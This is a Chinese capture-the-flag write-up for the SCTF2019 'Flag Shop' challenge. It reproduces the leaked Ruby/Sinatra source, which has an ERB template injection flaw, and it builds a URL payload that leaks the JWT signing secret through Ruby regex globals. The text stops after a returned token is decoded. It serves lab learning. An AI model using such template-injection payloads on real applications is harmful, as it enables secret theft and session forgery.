[SCTF2019]Flag Shop

 

 点击buy flag试试

 

 提示没有足够的jkl

这里可以点击work去赚取jkl

正常点击要攒到flag怕是不可能，buu请求过快也会报错

先抓包看看吧

 

 这里不能修改work赚取的jkl，尝试把cookie解码看看

 

 修改下jkl试试看

 

 发现报错了

 

 又回到最开始的地方。。

扫描一下有没有源码泄露之类的

发现robots.txt

访问发现有/filebak

 

 

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

稍微看了下

发现要do和name一致才能够弹出secret

这里考察Ruby ERB注入（参考：https://www.anquanke.com/post/id/86867https://www.anquanke.com/post/id/86867    and     https://blog.csdn.net/zdq0394123/article/details/8443694）

unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

这里要是 SECRET 参数存在则对其进行匹配，匹配到了就输出flag

但这里既然有匹配，就可以用全局变量读出来了，也就是用 $` 来读取匹配前的内容

 

 构造下payload：

/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

 

 直接使用好像不行。。

要把里面内容换位十六进制

/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

 

 

 

 

 

 

 

 

又回显了一个jwt 解码一下